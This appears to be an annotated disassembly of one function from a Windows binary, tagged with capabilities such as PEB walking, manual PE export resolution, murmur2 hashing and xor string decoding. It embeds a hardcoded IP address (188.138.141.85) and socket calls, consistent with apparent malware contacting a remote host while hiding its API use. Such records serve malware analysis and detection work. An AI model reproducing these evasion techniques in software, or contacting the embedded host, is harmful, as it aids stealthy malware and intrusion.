Function at 0x140058180
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using murmur2
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rbx, qword [0x1401875c0]
lea rcx, [rsp + 0x20]
mov rdi, rdx
movsxd rsi, r8d
lea rdx, str.188.138.141.85
call fcn.140034390
mov rcx, rax
call fcn.14001d820
mov rdx, rax
mov r8d, 0x53b
mov rcx, rbx
call fcn.1400568c0
mov r12, rax
cmp rax, 0xffffffffffffffff
jne 0x1400582e9
lea rdx, str.closesocket
lea rcx, [rsp + 0x20]
call fcn.140034850
mov rcx, rax
call fcn.14001dd50
mov rcx, qword gs:[0x60]
xor r15d, r15d
mov rsi, rax
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], r15
je 0x1400582ad
mov r13d, 0x5a4d
nop dword [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x1400582ce
cmp word [r11], r13w
jne 0x1400582ad
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1400582ad
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400582ad
mov ebp, dword [r11 + rcx + 0x1c]
lea rax, [r11 + rcx]
mov r9d, dword [rax + 0x20]
add rbp, r11
mov r14d, dword [rax + 0x24]
add r9, r11
mov ebx, dword [rax + 0x18]
add r14, r11
mov r10d, r15d
test ebx, ebx
je 0x1400582ce
mov eax, dword [r9]
xor dl, dl
add rax, r11
cmp byte [rax], dl
je 0x1400582c2
mov r8, rsi
sub r8, rax
movzx ecx, byte [r8 + rax]
test cl, cl
je 0x1400582be
cmp byte [rax], cl
jne 0x1400582c2
inc rax
mov dl, 1
cmp byte [rax], r15b
jne 0x140058286
movsxd rax, r10d
movzx ecx, word [r14 + rax*2]
mov r15d, dword [rbp + rcx*4]
add r15, r11
mov rcx, 0xffffffffffffffff
call r15
xor al, al
jmp 0x1400585d5
test dl, dl
jne 0x14005829d
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140058274
cmp qword [rdi + 0x60], r15
jne 0x140058220
mov rcx, 0xffffffffffffffff
call r15
xor al, al
jmp 0x1400585d5
mov r9, rsi
mov r8, rdi
mov rdx, r12
call fcn.140057b40
lea rcx, [rsp + 0x20]
test al, al
jne 0x140058411
lea rdx, str.closesocket
call fcn.14004c990
mov rcx, rax
call fcn.14001dd50
mov rcx, qword gs:[0x60]
xor r15d, r15d
mov rsi, rax
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], r15
je 0x1400583dd
mov r13d, 0x5a4d
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x1400583fa
cmp word [r11], r13w
jne 0x1400583dd
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1400583dd
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400583dd
mov ebp, dword [r11 + rcx + 0x1c]
lea rax, [r11 + rcx]
mov r9d, dword [rax + 0x20]
add rbp, r11
mov r14d, dword [rax + 0x24]
add r9, r11
mov ebx, dword [rax + 0x18]
add r14, r11
mov r10d, r15d
test ebx, ebx
je 0x1400583fa
mov ecx, dword [r9]
xor dl, dl
add rcx, r11
cmp byte [rcx], dl
je 0x1400583ee
mov r8, rsi
sub r8, rcx
movzx eax, byte [r8 + rcx]
test al, al
je 0x1400583ea
cmp byte [rcx], al
jne 0x1400583ee
inc rcx
mov dl, 1
cmp byte [rcx], r15b
jne 0x1400583b6
movsxd rax, r10d
movzx ecx, word [r14 + rax*2]
mov r15d, dword [rbp + rcx*4]
add r15, r11
mov rcx, r12
call r15
xor al, al
jmp 0x1400585d5
test dl, dl
jne 0x1400583cd
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x1400583a4
cmp qword [rdi + 0x60], r15
jne 0x140058350
mov rcx, r12
call r15
xor al, al
jmp 0x1400585d5
call fcn.140058fb0
mov rdi, rax
movsx ebx, byte [rax]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140058434
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x140058443
mov edx, 0x9d
call fcn.140052d80
imul eax, ebx, 0x5bd1e995
lea r8, [rdi + 4]
mov r9, r8
mov ecx, eax
shr ecx, 0x18
xor ecx, eax
imul r11d, ecx, 0x5bd1e995
xor r15d, r15d
mov edx, r15d
lea r10d, [r15 + 8]
nop dword [rax + rax]
mov eax, edx
lea r9, [r9 + 4]
xor eax, r11d
add edx, 0x5bd1e995
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9 - 4], eax
sub r10, 1
jne 0x140058470
mov r9d, dword [0x14018719c]
mov rdx, qword [rdi + 0x28]
call fcn.1400525a0
mov rsi, rax
test rax, rax
jne 0x1400584d0
mov rsi, r15
jmp 0x140058515
movzx eax, byte [rdi]
xor byte [rsi], al
movzx eax, byte [rdi]
xor byte [rsi + 1], al
movzx eax, byte [rdi]
xor byte [rsi + 2], al
movzx eax, byte [rdi]
xor byte [rsi + 3], al
movzx eax, byte [rdi]
xor byte [rsi + 4], al
movzx eax, byte [rdi]
xor byte [rsi + 5], al
movzx eax, byte [rdi]
xor byte [rsi + 6], al
movzx eax, byte [rdi]
xor byte [rsi + 7], al
movzx eax, byte [rdi]
xor byte [rsi + 8], al
movzx eax, byte [rdi]
xor byte [rsi + 9], al
movzx eax, byte [rdi]
xor byte [rsi + 0xa], al
mov byte [rsi + 0xb], r15b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
cmp qword [rdi + 0x60], r15
je 0x1400585cd
mov r13d, 0x5a4d
nop dword [rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x1400585fd
cmp word [r11], r13w
jne 0x1400585cd
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1400585cd
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400585cd
mov ebp, dword [r11 + rcx + 0x1c]
lea rax, [r11 + rcx]
mov r9d, dword [rax + 0x20]
add rbp, r11
mov r14d, dword [rax + 0x24]
add r9, r11
mov ebx, dword [rax + 0x18]
add r14, r11
mov r10d, r15d
test ebx, ebx
je 0x1400585fd
mov ecx, dword [r9]
xor dl, dl
add rcx, r11
cmp byte [rcx], dl
je 0x1400585f1
mov r8, rsi
sub r8, rcx
movzx eax, byte [r8 + rcx]
test al, al
je 0x1400585ed
cmp byte [rcx], al
jne 0x1400585f1
inc rcx
mov dl, 1
cmp byte [rcx], r15b
jne 0x1400585a6
movsxd rax, r10d
movzx ecx, word [r14 + rax*2]
mov r15d, dword [rbp + rcx*4]
add r15, r11
mov rcx, r12
call r15
mov al, 1
mov rbx, qword [rsp + 0xa0]
add rsp, 0x60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
test dl, dl
jne 0x1400585bd
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140058594
cmp qword [rdi + 0x60], r15
jne 0x140058540
jmp 0x1400585cd